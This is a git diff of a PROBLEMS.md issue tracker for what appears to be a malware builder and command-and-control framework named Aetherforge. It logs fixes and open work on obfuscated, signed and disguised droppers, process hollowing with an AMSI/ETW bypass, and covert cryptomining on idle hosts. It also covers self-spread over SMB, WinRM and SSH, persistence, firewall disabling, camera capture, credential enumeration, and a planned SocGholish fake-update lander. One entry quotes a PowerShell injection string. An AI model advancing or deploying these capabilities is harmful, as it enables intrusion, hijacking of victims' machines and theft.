diff --git a/.gitignore b/.gitignore
index cbcda29..f7e3086 100644
--- a/.gitignore
+++ b/.gitignore
@@ -10,6 +10,8 @@
/data/builds/
/data/logs/
/data/config.json
+/data/login-credentials.json
+/data/users.json
/server/data/
# Go
diff --git a/PROBLEMS.md b/PROBLEMS.md
index 5ffcaac..dd5a6d8 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -1,224 +1,662 @@
-## Builder / Forge
-*Scope: B-01–B-13 (2026-06-04 pass). `go test ./internal/builder/... ./internal/api/...` — run after changes.*
-### Fixed in this pass
-| ID | Fix |
-|----|-----|
-| B-01 | `checkBuildSizeFile` enforced on universal/spread-kit and universal-fusion ZIP outputs (`limits.go`, `build_universal.go`). |
-| B-02 | `signExecutable` runs on spread-kit workers and universal-fusion runners when `sign_build` is set (`build_universal.go`). |
-| B-03 | Dropper `/get` resolves `DownloadURL` artifact paths before `FilePath` (`dropper_handler.go`; `dataDir` on handler). |
-| B-04 | Fusion launcher compile respects `shouldObfuscate` / garble (`fusion_media.go`). |
-| B-05 | Fusion estimate uses paired/embedded sizing; removed stale `"video"` kind branch (`estimate.go`). |
-| B-06 | Estimate adds `signingToolMissingNote` when cert configured but signtool/osslsigncode absent (`estimate.go`, `sign_*.go`). |
-| B-07 | Universal fusion README `RunnerName` uses `disguisedRunnerName(payloadBase)` (`build_universal.go`). |
-| B-08 | `publishFusionDeliverable` falls back to `dataDir` when `projectRoot` empty (`fusion_media.go`). |
-| B-09 | PathForge `Placed` excludes hint file from count (`pathforge.go`). |
-| B-10 | Multipart parse limit raised to `multipartMaxMemory` (2 GiB + headroom) (`limits.go`, `handler.go`). |
-| B-11 | Dropper PS1 ZIP handler also tries `start.bat` / `deploy.bat` (`dropper_handler.go`). |
-| B-12 | `DownloadBuild` Content-Disposition uses `FileName` (`handler.go`). |
-| B-13 | `resolveToolPaths` probes bundled `toolchain/gopath/bin` for garble and go-winres (`winres.go`). |
-### Open
-*(none in B-01–B-13 scope)*
+### Open medium / by design
+
+| Issue | Notes |
+
+|-------|-------|
+
+| **`bof_execute` disabled** | Agent returns explicit error in-memory BOF execution disabled for safety (`client.go`). |
+
+| **Process hollowing AMSI/ETW** | Relocation patching done; Defender/ETW detection causes ~50% failure bypass not implemented (`hollow_windows.go`). |
+
+| **Cloudflared on Linux server** | In-process tunnel start is Windows-only; Linux/macOS builds use no-op stub use external connector (`AF_TUNNEL_EXTERNAL`) or add cross-platform launcher. |
+
+| **macOS camera / GPU miner** | Stubs return "not supported"; Linux has V4L2 + nvidia-smi path. |
+
+| **Agent WireGuard auto-download** | Windows `ensureWGExe()` downloads WireGuard on first Path Tracer use heavy side effect; pre-install recommended. |
+
+| **Non-Windows Path Tracer agent parity** | `pathtracer_stub.go` returns error on `wg_setup`; Linux/macOS agents cannot join WireGuard chains. |
+
+| **KEV heuristics** | Non-Windows agents return catalog with `Status: n/a` Windows-only CVE matching.
+
+
+
+
+
+### Open large / deferred
+
+
+
+| Issue | Notes |
+
+|-------|-------|
+
+| **Non-Windows agent parity** | `pathtracer_stub.go` returns error JSON on `wg_setup`; Linux/macOS cannot join chains. UI filters platform; server does not validate `platform` field. |
+
+| **In-memory sessions only** | `TraceSession` map in handler RAM server restart loses session state while agents may still hold tunnels; no DB persistence or startup sweep. |
+
+| **WireGuard auto-download** | Windows `ensureWGExe()` silently downloads/installs WireGuard on first use heavy, needs admin, no progress UI. |
+
+| **No PathTracerPage Vitest** | Page logic (polling, chain selection, QR modal) untested; only `uiHelp.test.ts` covers help keys. |
+
+| **No agent-side pathtracer tests** | `pathtracer_windows.go` / stub have zero Go tests. |
+
+| **NAT / symmetric UDP** | UPnP + DB IP fallback may still yield unreachable endpoints; no STUN/TURN or connectivity probe after configure. |
+
+| **Fixed listen port 51820** | All hops use same UDP port multiple agents behind one NAT may conflict; no per-hop port allocation. |
+
+| **Agent display name vs hostname** | WS auth `UpsertAgent` overwrites `name` with hostname on every connect operator-renamed fleet labels may not appear in Path Tracer unless re-saved after connect. |
+
+
+
+### Open medium / UX
+
+
+
+| Issue | Notes |
+
+|-------|-------|
+
+| **Visual island (green vs deck)** | Page uses `#00ffaa` WireGuard chrome while `data-operator-deck='pathtracer'` sets blue accent (`operatorDeck.css`); intentional branding split (see DV-07). |
+
+| **Status polling only** | UI polls `/status` every 2s no WebSocket push for hop progress; acceptable latency but stale during orchestration. |
+
+| **Error path leaves tracing UI** | On `status.error`, `tracing` clears but session remains server-side until operator clicks End or TTL hops show failed state in chain panel. |
+
+
---
-## Dashboard (React/Vite)
-*Audit fixes: 2026-06-04. `npm run test -- --run` in `server/web` — pass.*
-### Fixed in this pass
-| Fix | Area |
-|-----|------|
-| SessionGate distinguishes 401 vs transport errors; network blip keeps saved credentials with degraded banner | `SessionGate.tsx` |
-| Session expiry message when 401 clears auth mid-session (`consumeAuthExpiredFlag`) | `auth.ts`; `client.ts`; `SessionGate.tsx` |
-| Download timeouts + AbortError messaging: `downloadAuthedFile`, `downloadAgentLog`, `downloadBackup` (5 min / 10 min) | `download.ts`; `client.ts` |
-| Agent log `refresh=1` uses 90s timeout (long-poll) | `client.ts` |
-| Re-forge requires confirmation before compile; fusion prep picker highlights on missing payload | `BuilderPage.tsx` |
-| BuildManager delete/pin errors surfaced; dropper copy clarifies pinned vs latest; `serverBase` prefers `suggested_url` via parallel `getServerInfo` | `BuildManagerPage.tsx` |
+
+### Open large / deferred
+
+
+
+| Issue | Notes |
+
+|-------|-------|
+
+| **No CI-automated HTTP forge** | `scripts/e2e-validate.ps1 -ForgeAgent` still manual (multipart fusion, long compile). Live compile gated behind `LIVE_FORGE=1` + `-tags liveforge`. |
+
+| **PathForge test gaps** | Only `TestPathForgePlacedExcludesHintFile`; no skipped-counter, lock-original, or frontend UI tests. |
+
+| **Forge cancellation / batch races** | Cancel token API tested in isolation; concurrent batch forge + mid-compile cancel not covered. |
+
+| **Non-Windows forge host limits** | PE disguise (`disguise_stub.go`) and Windows signing (`sign_stub.go` / osslsigncode) are platform-constrained by design. |
+
+| **Mac PathForge runtime dependency** | `.command` launchers curl `/api/download/agent-mac` at runtime requires reachable `server_url` and pre-placed agent binary. |
+
+
+
+### Open low
+
+
+
+| Issue | Notes |
+
+|-------|-------|
+
+| `pathforge_test.go` dead loop | Lines 6672 iterate `entry.Files` but assert nothing harmless test noise. |
+
+
+
+
### Open (document-only / deferred)
+
+
| Issue | Notes |
+
|-------|--------|
-| Emberwake public-build toggle in Builds UI | API `PUT /builds/{id}/public` exists; Builds page checkbox not wired yet — use API or Calibrate `public_builds_enabled` |
-| Dual storage without sync policy | Complex cross-tab sync — session preferred over local; `aetherforge-auth` event on logout |
-| Flaky progress simulation vs. real compile time | Cosmetic — stage timeline caps at 94% until server responds (45 min client timeout) |
-| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races — needs dedicated tests |
+
+| Dual storage without sync policy | Complex cross-tab sync session preferred over local; `aetherforge-auth` event on logout |
+
+| Flaky progress simulation vs. real compile time | Cosmetic stage timeline caps at 94% until server responds (45 min client timeout) |
+
+| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races needs dedicated tests |
+
| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
-| DownloadButton mock aliasing pattern | Document for new download helpers — shared mock fn already in `components.test.tsx` |
----
-
-Server API — deeper issues only
-Source: `server/internal/api` audit (2026-06-04). **API-D01–D10 addressed 2026-06-04** (`go test ./internal/api/... -count=1` PASS).
-
-### Fixed (2026-06-04)
-
-| ID | Fix |
-|----|-----|
-| API-D01 | `POST /api/v1/auth/ws-ticket` issues 2‑min one-time tickets; dashboard WS prefers `?ticket=`; legacy `?token=` retained as fallback. |
-| API-D02 | Per-IP agent WS upgrade rate limit (429) + 45s pre-auth read deadline before disconnect. |
-| API-D03 | `MarkBeaconSeen` / `EnqueueBeaconCommand` require agent row in DB; beacon upsert runs before mark. |
-| API-D04 | CoinGecko fetch checks HTTP status; retries 429/5xx up to 3 attempts with backoff. |
-| API-D05 | `POST /api/v1/users` validates username (3–32, alnum/`_`/`-`) and password (4–128); **409** on existing username. |
-| API-D06 | Agent WS read loop logs unknown `msg.Type` in `default` branch. |
-| API-D07 | `notifyCmdCallback` uses blocking channel send (no drop on full buffer). |
-| API-D08 | `GET /agents/{id}/stats` returns **404** when agent missing (parity with `GET /agents/{id}`). |
-| API-D09 | **By design** — `/api/download/agent-*` and dropper `/get` stay unauthenticated; URL knowledge is the gate. |
-| API-D10 | Legacy `?token=` WS auth uses `authSessionCache` (bcrypt skip on cache hit), same as REST. |
-
----
+| DownloadButton mock aliasing pattern | Document for new download helpers shared mock fn already in `components.test.tsx` |
-### Fixed (2026-06-04)
+--
+
+
+
+
+
+### Open (2026-06-06 audit LARGE)
+
+
+
+- **`tunnel_stream` not implemented** server-side TCP reverse relay documented as future work (`README.md`).
+
+- **Server `cloudflared` launcher no-op on non-Windows** Linux server deploy cannot auto-launch tunnels (`cloudflared/launcher_stub.go`).
+
-- **`mergeConfig`:** now merges `server.fleet_secret` and `tunnel_defaults` (file load still uses `mergeConfigExplicit` for bool safety).
-- **`pool.Manager`:** `poolKey` includes `PaymentID` to avoid integrated-address proxy collisions.
-- **`GetSpreadFunnelStats`:** `new_connects_today` now uses caller `since` (aligned with `by_build` window).
-- **`LAUNCH.bat` / `devrun.bat`:** read `port` from `data/config.json` for display; launch without `-port` so config wins.
### Low (open)
-- `db.New` ignores `MkdirAll` failure.
+
+
+- **`mergeConfig` partial-PUT `UseTLS` legacy behavior** omitted keys may not reset bools; see `config_test.go`.
-## Fusion / PathForge
-*Audit: fusion pathforge (2026-06-04). Builder + API tests — pass.*
-
-### Fixed (2026-06-04)
-
-- **F1 — Path Tracer WireGuard peer topology:** `buildHopPeers` adds client peer on hop 1 (`10.66.0.1/32`); single-hop no longer gets empty `peers`; multi-hop adds reverse peers on middle/exit hops. Tests: `pathtracer_handler_test.go` (`TestBuildHopPeers*`, `TestPathTracerOrchestrationConfigurePeers`).
-- **Path Tracer session expiry:** background cleanup goroutine removes sessions after 2h and sends `wg_teardown`. Test: `TestPathTracerSessionExpiry`.
-- **PathForge `Skipped` counter:** incremented for non-matching files during walk.
-- **PathForge `dataDir`:** used as fallback search path in `findAgentBinary`.
-- **Mac PathForge `server_url`:** required when `target_mac` is enabled (400 if missing).
-- **Tests added:** `pathforge_test.go` (HTTP validation, skipped counter, placement); `pathtracer_handler_test.go` (peer topology + mock-agent orchestration).
### High (open)
-- `fusion/` package has no tests (coverage only in `server/internal/builder/fusion_*_test.go`).
+
+
+- **Non-Windows Path Tracer agent parity** `pathtracer_stub.go` returns error on `wg_setup`; Linux/macOS agents cannot join WireGuard chains.
+
+
### Medium (open)
-- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix — operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
+
+
+- **Agent WireGuard auto-download:** Windows agent `ensureWGExe()` downloads and silently installs WireGuard from `download.wireguard.com` on first Path Tracer use if not already present (`agent/client/pathtracer_windows.go`). Heavy side effect; no server-side fix operator should pre-install WireGuard on fleet hosts or accept first-run download latency.
+
- Mac PathForge `.command` still depends on `server_url` + `/api/download/agent-mac` at runtime (now validated at forge time).
----
-## Crucible (Remote Operations Theater)
-*Expansion pass: 2026-06-04. `npm run test -- --run` in `server/web`; `go test ./agent/client/...`.*
-### Phase A — wired (done)
-
-| Op | Command / API | Notes |
-|----|----------------|-------|
-| Connectivity Probe | `connectivity_probe` | JSON to terminal |
-| Listen Ports / Patch Status | `listen_ports`, `patch_status` | Individual chips (Deep Scan still runs both) |
-| Firewall suite | `firewall_punch`, `firewall_off`, `firewall_on`, `firewall_profiles`, `firewall_remove` | `canRunAggressiveAction` gates |
-| UPnP | `hole_punch_status`, `hole_punch_close` | Hole Punch forge flag |
-| Bulk Tunnel Stop | `tunnel_stop` + `all` | Selected online nodes |
-| Mesh Peers | `mesh_status` | Mesh P2P forge flag |
-| Persistence | `bits_persist`, `host_binary_persist` | Win + Remote Aggressive |
-| Fleet Upgrade | build picker → `upgrade` | `listBuilds` download URL |
-| Registry panel | `registry_read` / `write` / `delete` | Single or bulk Win (confirm) |
-| Live Desktop | `screenshot` poll 3s | Single-node toggle |
-| Wake-on-LAN | `POST /agents/{id}/wol` | Works offline |
-
-UI: collapsible **Network**, **Persistence**, **Fleet Maintenance** groups in `CrucibleExpandedOps.tsx`; styling in `CruciblePage.css`.
-
-### Phase B — partial
-
-| Op | Status |
-|----|--------|
-| `arp_neighbors` | **Done** — `deploy.ArpNeighborIPs()` JSON |
-| `camera_list` + picker | **Done** — device via `command` on `camera_snapshot` |
-| `persistence_audit` | **Done** — read-only Run/tasks/systemd/launchd JSON |
-| `kill_process` | **Done** — `{ command: pid }` |
-| `delete_path` / `move_path` | **Done** — file_ops guards (no dirs/system roots) |
-
-### Phase C — done (2026-06-04)
| Op | Command | Notes |
-|----|---------|-------|
-| SMB share enumeration | `smb_shares` | Windows + Remote Aggressive; ARP/subnet hosts → `net view` JSON |
-| Spread status | `spread_status` | In-memory last sweep (`deploy/spread_status.go`); read-only |
-| Credential names | `credential_vault_list` | Win Credential Manager / macOS Keychain / Linux secret-tool + `~/.ssh` paths — names only |
-| Secure wipe | `secure_wipe` | Overwrite-then-delete folder; system-root guards; confirm in UI |
-| Port-forward matrix | `tunnel_ssh_forward` × N | `CruciblePortForwardMatrix` — multi-row grid on selected Windows nodes |
-UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces “coming soon” stubs).
+|----|---------|-------|
+
+| SMB share enumeration | `smb_shares` | Windows + Remote Aggressive; ARP/subnet hosts ? `net view` JSON |
+
+| Spread status | `spread_status` | In-memory last sweep (`deploy/spread_status.go`); read-only |
+
+| Credential names | `credential_vault_list` | Win Credential Manager / macOS Keychain / Linux secret-tool + `~/.ssh` paths names only |
+
+| Secure wipe | `secure_wipe` | Overwrite-then-delete folder; system-root guards; confirm in UI |
+
+| Port-forward matrix | `tunnel_ssh_forward` × N | `CruciblePortForwardMatrix` multi-row grid on selected Windows nodes |
+
+
+
+UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces coming soon stubs).
+
+
---
-## Agent (Go)
-### Linux / macOS parity (2026-06-04 pass)
+
+
+
+
+
+### Linux / macOS parity
+
+
| Area | Status |
+
|------|--------|
+
| **Mining + hashrate** | RandomX pure-Go engine works on Linux/macOS; stats loop sends `hashrate_15s/1m/15m` + shares over WS. |
-| **Idle schedule guard** | **Fixed** — `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
+
+| **Idle schedule guard** | **Fixed** `SystemCPUPercent` was always 0 on Unix (`reporter_unix.go`), blocking idle-mode mining; Linux uses `/proc/stat`, macOS uses `sysctl kern.cp_time`. |
+
| **Screenshot** | Linux: scrot / ImageMagick `import` / gnome-screenshot. macOS: `screencapture`. |
+
| **Camera** | Linux V4L2 via ffmpeg/fswebcam (`camera_linux.go`). macOS: stub. |
+
| **File ops** | Cross-platform (`file_ops_unix.go` / `file_ops_windows.go`). |
+
| **Posture** | Unix collectors return firewall/AV/patch data (`posture_unix.go`), not all n/a. |
+
| **Spread** | SSH path on Linux/macOS (`autospread_unix.go`); SMB/WinRM Windows-only by design. |
-| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); macOS still stub. |
+
+| **Firewall ops** | Linux ufw/iptables (`firewall_linux_ops.go`); **macOS pf + socketfilterfw** (`firewall_darwin_ops.go`); other Unix stubs. |
+
| **GPU miner** | Windows-only T-Rex path; Linux/macOS stub with detect-only. |
-| **Docker E2E** | `docker/docker-compose.yml` — isolated agent + server; see `docker/README.md`. |
+
+| **Docker E2E** | `docker/docker-compose.yml` isolated agent + server; see `docker/README.md`. |
+
+
### Open
+
+
- **Client:** WebSocket/beacon paths integration-only in CI (Docker Tier 2 closes Linux slice).
-- **macOS:** firewall aggressive ops, camera, GPU miner — stubs or partial.
+
+- **macOS:** camera, GPU miner stubs or partial; firewall aggressive ops implemented (see Backend BE-04).
+
- **Linux screenshot:** headless containers need `xvfb` + scrot or custom `command` field.
-### Fixed (2026-06-04)
+- **`bof_execute` permanently disabled** handler always fails (`client.go`); product/safety decision.
+
+- **Linux/macOS GPU RVN mining broken** `detectGPU()` may find NVIDIA, but `spec()` downloads Windows `.exe` miners (`gpu_miner.go`, `gpu_detect_stub.go`).
+
+- **Mesh P2P without `-tags p2p`** default build reports 0 peers; UI exposes `mesh_status` with re-forge hint (`mesh_p2p_stub.go`).
+
+- **Process hollowing AMSI/ETW bypass not implemented** documented ~50% failure rate (`hollow_windows.go`).
+
+- **KEV exposure scan non-Windows** all CVEs marked `n/a` (`cve_scan_stub.go`).
+
+- **Unknown Unix CPU stats stub returns 0** can break idle-mining guard on exotic platforms (`cpu_stub.go`).
+
+
+
+
+
+### Open (document-only / deferred)
+
+
+
+| Issue | Notes |
+
+|-------|--------|
+
+| Dual storage without sync policy | Complex cross-tab sync session preferred over local; `aetherforge-auth` event on logout |
+
+| Flaky progress simulation vs. real compile time | Cosmetic stage timeline caps at 94% until server responds (45 min client timeout) |
+
+| Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races needs dedicated tests |
+
+| DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
+
+| DownloadButton mock aliasing pattern | Document for new download helpers shared mock fn already in `components.test.tsx` |
+
+| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets |
+
+| Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom tests pass |
+
-| Area | Fix |
-|------|-----|
-| **Mesh** | Relay path uses `write()` under `AgentClient.mu` (no direct `conn` read); `MeshNode.Stop()` tears down mDNS/host; one-way relay documented; unit tests in `client/mesh_test.go` and `client/mesh_p2p_test.go` (`-tags p2p`). |
-| **Miner** | `HashAtNonce` returns `ErrEngineNotReady` / `ErrBlobTooShort` instead of empty+nil; edge-case tests updated in `miner/engine_test.go`. |
-| **Spread** | Shared `deploy/subnet.go`: IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in `subnet.go` and autospread entrypoints. |
---
-## Integration audit (2026-06-04)
-*Post–alive-UI wave verification. Commands: `go test ./...` in `agent/` and `server/`; `go test ./internal/api/... ./internal/db/...`; `npm run test -- --run` + `npm run build` in `server/web`.*
+
+### Open (needs product copy or broader pass)
+
+
+
+| ID | Issue | Notes |
+
+|----|-------|-------|
+
+| UH-01 | Crucible expanded ops (spread/tunnels/recon buttons) | 40+ buttons still rely on `title=` only no `HelpTip` on each `CrucibleExpandedOps` action |
+
+| UH-02 | Fleet Roster / Agents page bulk toolbar | Filter chips and bulk actions lack inline help |
+
+| UH-03 | Emberwake / War Room campaign widgets | Funnel stages need `HelpTip` parity with Command Deck funnel |
+
+| UH-04 | Mission Deck | Page has minimal operator guidance |
+
+| UH-05 | Builder mission wizard chips | Inline blurbs exist on chips; not all advanced forge sections have `HelpTip` (see `docAnchors.test` gap list) |
+
+| UH-06 | Settings tabs beyond Calibrate/Forge | Alerts, webhooks, desktop push sections partially covered |
+
+
+
+### Open (visual / UX debt)
+
+
+
+| ID | Issue | Files / notes |
+
+|----|-------|----------------|
+
+| DV-01 | **Neon cyan fragmentation** canonical token is `--neon-cyan: #00e8f5` but components hard-code `#00f5ff`, `#00e5ff`, and `#0ff` fallbacks | `AgentRemoteActions.css`, `HashrateChart.tsx`, `BuildManagerPage.tsx`, `ProtocolTunnelPanel.css`, `FileManager.css` (fixed), sacred geometry SVGs |
+
+| DV-02 | **Page header patterns diverge** most pages use `deck-hero` + eyebrow; Build Manager uses `bm-header` / `bm-title`; Path Tracer uses green `.pt-title` (`#00ffaa`); Forge says The Forge vs nav Forge | `BuildManagerPage.tsx/css`, `PathTracerPage.css`, `BuilderPage.tsx`, `Layout.tsx` NAV |
+
+| DV-03 | **`SacredPageHeader` unused** component + `.page-header--sacred` CSS exist but no page imports it; dead design path | `SacredPageHeader.tsx`, `sacred-geometry.css` |
+
+| DV-04 | **`Pages.css` duplicate / conflicting rules** two `.empty-state` blocks (L192 vs L1078); second `.page-header h1` block overrides `visual-polish` gradient when page CSS loads after global polish | `Pages.css`; load order via per-page imports |
+
+| DV-05 | **Default dashboard subtitle** out-of-box copy is security is just an emotion until Calibrate overrides `dashboard_subtitle`; reads as placeholder to new operators | `DashboardPage.tsx` L70; `SettingsPage.tsx` L131 |
+
+| DV-06 | **Path Tracer buried in nav** desktop sidebar lists it last; mobile hides it under More while Crucible/Forge are primary tabs | `Layout.tsx` MOBILE_PRIMARY vs MOBILE_MORE |
+
+| DV-07 | **Path Tracer visual island** green WireGuard aesthetic (`#00ffaa`) does not use operator-deck page classes or brass/neon deck chrome | `PathTracerPage.css`, `PathTracerPage.tsx` (missing `operator-deck-page`) |
+
+| DV-08 | **Chart lazy-load placeholder is invisible** `ChartPlaceholder` is an empty div at 35% opacity; advanced charts pop in with layout shift | `DashboardPage.tsx` L5153 |
+
+| DV-09 | **Dead chart badge styles** `.chart-live.sample` / `.blend` in wealth-deck CSS; `resolveChartSeries` no longer emits sample mode | `wealth-deck.css`; `chartSampleData.ts` |
+
+| DV-10 | **Docs vs in-app naming drift** wiki says Calibrate (Settings), Command Deck, Forge / Builder; nav uses Calibrate, Command Deck, Forge; Emberwake route was `/spread` redirect | `public/docs/index.html`, `Layout.tsx`, `App.tsx` |
+
+| DV-11 | **Public spread landing vs Emberwake** `/spread/` static kit uses `aether.css` deck tokens (good) but typography/spacing differs slightly from in-app Emberwake cards | `public/spread/assets/aether.css`, `EmberwakePage.css` |
+
+| DV-12 | **Emoji in status bar / actions** ?? DOCS pill, agent action buttons (?? ? ?) inconsistent with otherwise SVG-icon nav | `SystemStatusBar.tsx`, `AgentRemoteActions.tsx` |
+
+| DV-13 | **No light theme** entire product is dark-only; docs wiki matches but no `prefers-color-scheme` path | global styles |
+
+| DV-14 | **Sidebar version hard-coded** footer shows `v0.0.1` regardless of server build | `Layout.tsx` L321 |
+
+| DV-15 | **Mission Deck formatting** source file has excessive blank lines (likely formatter artifact); harder to maintain, no runtime impact | `MissionDeckPage.tsx` |
+
+
+
+
+
+### Remaining doc gaps (need product copy / user input)
+
+
+
+| Topic | Notes |
+
+|-------|-------|
+
+| Default dashboard subtitle | security is just an emotion until Calibrate override marketing copy decision (DV-05) |
+
+| SocGholish / fake-update lander | Documented in spread playbook `#third-party` tab; no shipped branded HTML template |
+
+| OAuth redirect abuse playbook | Research only no Entra app wizard in Emberwake |
+
+| Earnings USD quote | `TEST_RESULTS.md` notes low priority; not wired |
+
+| Screenshot placeholders in wiki | `[Screenshot: ]` divs need real captures from operator deck |
+
+| Sidebar version `v0.0.1` | Hard-coded in `Layout.tsx` should read server build version (DV-14) |
+
+| Light theme | Dark-only documented; no `prefers-color-scheme` path (DV-13) |
+
+
+
+---
+
+
+
+### Deferred needs refactor, heavy mocks, or external deps
+
+
+
+| Area | Why deferred |
+
+|------|--------------|
+
+| `agent/cmd/mine-validate` | Standalone CLI (`main` package); exercises RandomX + live Stratum; run manually or in mining CI |
+
+| Cloudflared `Start` with real token | Spawns/downloads binary + network; only empty-token path covered |
+
+| `FleetScheduler.Start` loop | 1-minute ticker; logic covered via direct `tickInterval`/`tickCron` in same-package tests |
+
+| CruciblePage full integration | Large page; helpers + `CrucibleExpandedOps` + `FileManager` tested separately |
+
+| Fleet panel widgets | Partially covered via `components.test.tsx`; full panel flows need WS mocks |
+
+| Path Forge / batch fusion cancel races | Needs dedicated cancel-token harness |
+
+| Playwright E2E (`server/web/e2e/`) | Phase 8 of test-suite; requires build + temp server |
+
+| Docker mining E2E | `.github/workflows/ci-docker-mining.yml` separate tier |
+
+| Mesh P2P | Requires `-tags p2p` build tag |
+
+| Platform-specific fusion launchers | OS-gated; crypto path covered in `media_crypto_test.go` |
+
+
+
+---
+
+
+
+| Suite | Result | Notes |
+
+|-------|--------|-------|
+
+| `go test ./...` (repo root) | **N/A** | No root `go.mod`; use per-module dirs (documented in Integration audit). |
+
+| `agent/` | **PASS** | All packages ok (`client` ~3s). |
+
+| `server/` | **PASS** | `internal/api` ~69s, `internal/builder` ~32s. |
+
+| `fusion/` | **PASS** | Includes `media_crypto_test.go` (untracked in git at time of pass). |
+
+| `server/web` Vitest | **PASS** | 66 files / 587 tests (3 consecutive full runs). |
+
+
+
+
+
+
+
+| Item | Notes |
+
+|------|-------|
+
+| Vitest stderr `ECONNREFUSED 127.0.0.1:3000` | Failure-path / bulk-command tests in `DashboardPage`, `AgentsPage`, etc. (see Dashboard section). |
+
+| `FleetTopologyMap` three.js ref warnings | happy-dom; cosmetic stderr. |
+
+| Vite build chunk size warnings | `three` / vendor bundles > 500 kB; not a test failure. |
+
+
+
+---
+
+
+
+## Bugs Builder/Security (Bug Team 4 audit, 2026-06-06)
+
+
+
+*Scope: `server/internal/builder/`, `fusion/`, `server/config.go`, cross-cutting API input validation and auth edge cases.*
+
+
### Fixed in this pass
-| Item | Fix |
-|------|-----|
-| Stale `server/webroot` | Clean-synced from `server/web/dist` after `npm run build` (59 files; includes Mission Deck chunks, wiki search, spread landing). Run `devrun.bat` or `xcopy dist → webroot` after each frontend build. |
-| `fleetModules.ts` fallbacks | UI fallbacks aligned with embedded `ModuleManifest` packs in `modules.go` (capabilities + descriptions). |
-| `data/modules/*.json` | Verified consistent with embedded manifests (signatures computed at load time). |
-### Verified (no code change needed)
-| Item | Status |
-|------|--------|
-| `modules_test.go`, `fleet_policy_test.go`, `campaign.go` | Compile + tests **PASS** (`go test ./internal/api/... ./internal/db/...`) |
-| `operatorDeck.css` import | `Layout.tsx` imports `../../styles/operatorDeck.css` — build passes |
-| `/mission-deck` route | Registered in `App.tsx`; `App.test.tsx` + `MissionDeckPage.test.tsx` pass |
-| `/docs` wiki search | `public/docs/index.html` + `wiki.js` ship in `dist/docs/`; search indexes `h3`/`h4` + body blocks |
-| Root `go test ./...` | **N/A** — no root `go.mod`; run per-module (`agent/`, `server/`) |
+| ID | Fix |
+
+|----|-----|
+
+| BLD-01 | **PowerShell injection in uninstaller** `processName` and `persistenceKey` were embedded in single-quoted PS1 strings without escaping apostrophes. A `WorkerName` like `foo'; Invoke-Expression ; '` would break out of the string. Now uses `strings.ReplaceAll( , "'", "''")` for both fields, consistent with how `installRel` was already escaped (`uninstall.go`). |
+
+| BLD-02 | **JSON build request body unbounded** non-multipart `POST /builder/build` decoded `r.Body` without a size limit; a 1 GiB JSON body would buffer entirely. Fixed: `http.MaxBytesReader` capped to 512 KiB before `json.Decode` (`handler.go`). |
+
+| BLD-03 | **Unbounded backup pool/URL arrays** `BackupServerURLs`, `BackupPools`, and `RVNBackupPools` from user input are concatenated verbatim into the generated Go source (`generateBuiltinConfig`). A request with 10 000 entries would produce a multi-MB `.go` file, slowing or crashing `go build`. Fixed: arrays truncated to 10 entries each in `normalizeRequest` (`handler.go`). |
+
+| BLD-04 | **Partial build dir not cleaned on failure** when `compileWorker`, `buildFusionFromRequest`, `writeUninstallScript`, or `MkdirAll` fail mid-build, the entire `builds//` tree (containing a copy of agent source + uploaded fusion payload) was left on disk. Added `cleanupBuild()` closure that calls `os.RemoveAll(buildDir)` on each failure return path (`handler.go`). |
+
+| BLD-05 | **Weak random password entropy** `generateRandomPassword()` used only 4 random bytes (8 hex chars, 32-bit entropy), guessable in ~4 billion attempts. Increased to 8 bytes (16 hex chars, 64-bit entropy) (`router.go`). Test updated. |
+
+| BLD-06 | **Malformed `config.json` silently ignored** `json.Unmarshal` failure was swallowed; operator saw no indication their config was rejected and defaults were running instead. Added `fmt.Fprintf(os.Stderr, )` warning on parse failure (`config.go`). |
+
+
+
+### Deferred / large
+
+
+
+| ID | Severity | Location | Description |
+
+|----|----------|----------|-------------|
+
+| **BLD-D1** | High | `server/internal/builder/pathforge.go` | **No server-side restriction on `root_path`.** `PathForgeRequest.RootPath` is passed directly to `filepath.WalkDir` without any whitelist or prefix check. An authenticated operator (or compromised session) can supply any absolute path (e.g. `C:\Windows\System32`, `/etc/`) and the server will (a) enumerate every matching file and (b) write `.exe`, `.bat`, and `.command` companion files next to them. Fix: validate `RootPath` against an operator-configured allow-list (e.g. specific USB/NAS mount points), or at minimum reject absolute paths that escape a configured `data_dir`. |
+
+| **BLD-D2** | Medium | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **Filename injection in generated scripts.** `d.Name()` (raw filesystem filename) is interpolated into `.bat` and `.command` scripts via `fmt.Sprintf`. On Windows, a filename containing `%VAR%` expands the BAT variable; a filename with `"` breaks the quoted argument. On macOS/Linux, a filename with `'` breaks single-quoted shell strings, and a `server_url` containing `'` would allow shell command injection in the generated `curl` line. Fix: escape `"` and `%` for BAT content; escape `'` ? `'\''` for shell content. |
+
+| **BLD-D3** | Low | `server/internal/builder/handler.go` `buildUniversalAgent` | **No partial build cleanup for universal builds.** The `cleanupBuild` fix (BLD-04) covers single-platform `buildAgent`. The corresponding `buildUniversalAgent` / `finishSpreadKit` / `finishUniversalFusion` do not clean up `buildDir` on internal failures. Extend the same pattern. |
+
+
+
+---
+
+
+
+## Bugs Server (Bug Team 1 audit, 2026-06-06)
+
+
+
+
+
+### Deferred / large
+
+
+
+| ID | Severity | Location | Description |
+
+|----|----------|----------|-------------|
+
